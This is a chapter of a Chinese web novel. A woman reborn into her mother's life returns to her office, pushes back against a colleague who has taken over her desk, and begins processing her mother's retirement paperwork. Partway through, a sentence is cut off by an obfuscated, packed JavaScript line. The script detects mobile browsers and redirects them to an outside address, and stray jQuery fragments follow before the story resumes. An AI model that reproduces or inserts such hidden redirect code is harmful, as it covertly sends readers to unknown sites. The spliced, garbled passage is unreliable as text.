杜涓的焦虑在年初七那天达到了顶峰——明天就要上班了。
以前上班焦虑,是因为工作太忙;现在上班焦虑,是因为她连办公室的门朝哪个方向开都不知道。
因为要喂小杜若,杜涓还是睡不成整觉,只觉得脑袋刚沾上枕头,天就蒙蒙亮。
靠在床头再眯一会儿,左边小杜若还睡得香甜,右边半张床早已经没人。
梁凤至早就收拾利索,出门买早饭。回来叫人:“起床啦,小懒虫!”
鸡蛋煮熟了放在凉水里,一会儿就好剥壳。塑料袋装着的豆浆倒进奶锅里煮沸,咕嘟咕嘟地冒着泡泡。杜涓刷完牙,睡眼惺忪走出来,帮着把大果子码进盘子。
梁凤至往杜涓装豆浆的大碗里放两勺白糖,“吃这么甜,不怕牙疼!”
杜涓用筷子一个劲儿把大果子往豆浆碗底怼,都泡得稀软也不夹起来吃。
梁凤至心里叹口气,从女儿皱着的眉头里读出“不想上班”四个大字。
她把鸡蛋放在桌上,手按着鸡蛋滚来滚去,“妈一会儿跟你一起去单位。”
杜涓抬起头,疑惑是疑惑,也说不出拒绝的话,哪怕是客套。
“妈终于要退休啦!”
羡慕死了羡慕死了……
等到还在享受寒假的杜雨接过需要照看的小杜若,杜涓和梁凤至走在上班的路上,脑海里就剩这一句话。
不过一路风景也绝非陌生,杜涓落后梁凤至半步,走到办公室门口,终于完全确定,这就是张晓风小学的时候,她妈的办公室。
二楼第三间,原来一直就在这个办公室没变过。
打开门锁,她们来得早,其他人还都没有来。
办公室不小,外间三张桌子像三个“口”紧挨着的一个“品”字,里间如果她没记错的话,应该是存放档案的房间。
上辈子杜涓具体干啥,没跟张晓风说过。约莫是人事一类的活儿,因为张晓风偷看过里间的档案,上面全是个人信息。
但是杜涓工位在哪张桌,她还真不能确定。
她努力回想,上辈子这间办公室里好像只有两个人来着。
梁凤至倒是熟门熟路。
“小王可真是的,知道你要回来,还占着你桌子。”
她嘴里念叨,手上也没闲着。拿下门口架子上的搪瓷盆,去水房打水。
由梁凤至的话推断,可见堆满东西的是杜涓办公桌。杜涓探过头,还没看清是什么,就被推门进来的人夸张的说话声打断。
“哟,都说你过鬼门关呢,这么快就回来上班啊!”
杜涓抬起头,毫不意外地看见王姨——现在她们年龄相当了——王颖华的脸。
果然还是她,上辈子杜涓的冤家。
那时张晓风上小学,杜涓疑心病很重,看谁都像肖想张强。和王颖华扯头花,有时当着张晓风的面能忍住,更多的时候忍不住,什么难听话都说。
张晓风都不知道她们是因为什么事,从什么时候开始交恶,但总之不对付。也许那时候也没有和杜涓能对付的人吧。
而现在,满桌子的东西,就足够让杜涓跟王颖华不对付了。
王颖华甚至还提溜着一大兜毛线团,想要往杜涓桌上放,被杜涓横了一眼,才讪讪拉开桌下的柜门塞进去。
“涓啊,我东西多,你也没啥事,就再让我放两天呗?”
杜涓看着桌上的东西,一摞琼瑶小说,一个泛着油光的饭盒,不知道几袋子毛线,横七竖八的过期报纸,雪糕袋子……
她两根手指捏起“大脚板”雪糕的袋子一角,融化的巧克力还沾在上头:“算了吧姐,这种金贵东西还是你收藏吧。”
王颖华瞪大了眼睛,杜涓居然会拒绝她!
不是,杜涓居然会拒绝人了!
难怪张强和他妈在加工厂大院,前段时间都夹着尾巴走,这段时间……好像没再见着了……
梁凤至端着接满水的盆回来,把在暖气片上烤得干硬的抹布扔进去泡着,“小王啊,劳驾收拾收拾啊,涓一会还干活呢。”
哦,狐假虎威啊。
王颖华后悔今天出门没看黄历,梁凤至谁敢惹,带个塑料框眼镜,片儿还挺厚,瞅着文质彬彬的,据说年轻的时候为了什么事能追着人骂出去三条街。
尊重还是得尊重,她不情不愿把扔了一冬天的垃圾往自己桌上划拉。
杜涓也没闲着,她被梁凤至塞了个拖布,包着蓝色塑料皮的木杆儿,底下几根布条都看不清本来颜色。
穿越前打扫房间基本靠扫地机器人和家政,穿越后更是十指尚未沾过阳春水的杜涓:“……”
所幸对于使用这玩意儿的记忆,倒也不是一点没有。她提起角落里带滤网的长方形水桶,凭着记忆往水房的方向去。
不知使用什么时间魔法,杜涓笨手笨脚回到办公室,桌面基本已经打扫一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574615|171115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空。
桌面上的台历还停留在去年九月,一部老式电话机,玻璃板下面压着杜涓和张强的合照、单位的几个电话号码,除此之外别无他物。
杜涓掀起玻璃板,把合照掏出来,想扔。
仔细一看,背面还有字。
“说好了一辈子,少一年、一个月、一天、一个时辰,都不算一辈子。”
杜涓:呕。
很快一切收拾停当,梁凤至却还不走。
“姑娘,这回可以给我办退休了吧!”
杜涓:原来我是负责给人办退休的。
王颖华手上织着毛衣,眼睛瞟着这对母女看热闹。不知怎么的,她觉得这俩人还挺好玩的。
不像以前,天天苦大仇深的。
但是杜涓业务确实没得说,就是跟个闷葫芦似的。以前给职工办手续,职工一旦狮子大开口想要点规定以外的东西,她就不知所措。
这回看起来倒是不麻爪了,但是怎么行动迟缓,好像忘了业务似的呢?
行动迟缓的杜涓翻了好几个抽屉才找到自己想要的东西,蓝色硬纸壳封皮的登记本。
原来一切印象都比她想象中还要深。
上辈子小时候的暑假寒假就是在妈妈办公室做作业。张晓风有过一个痴迷阅读的时期,只要有字,什么都翻出来看。
妈妈的日记本,里屋的档案,办公桌抽屉里的工作记录,乃至废报纸、使用说明书,逮什么看什么,还过目不忘,印象贼深刻。
不过那段时期过去之后,脑子就没那么灵光了。
现在的杜涓无比感谢那段时期的自己,她凭着记忆找到“离退休职工信息表”,让梁凤至坐在自己的座位上填。自己站起身,在身后书柜里找到收纳之前留存信息表的文件盒,抽出几张来看。
心中有数的时候,梁凤至也填完了表格。
“好了,就差盖个章。”杜涓心里暗暗比对表格信息,可是章子在哪儿呢,她面色踌躇。
“你快歇着吧,忙活一早上了,盖章不是找你沈姨吗,我自己去。”
梁凤至像会读心。
杜涓连忙追上去挽住梁凤至胳膊:“妈妈我要跟你一起去!”
要不然回头又对不上沈姨是哪位。
王颖华看着梁凤至和杜涓一同出门,都半扎着头发,留下长发飘飘的两个背影,看着活像一对姐妹俩,用了一点力气才收回自己目瞪口呆的表情。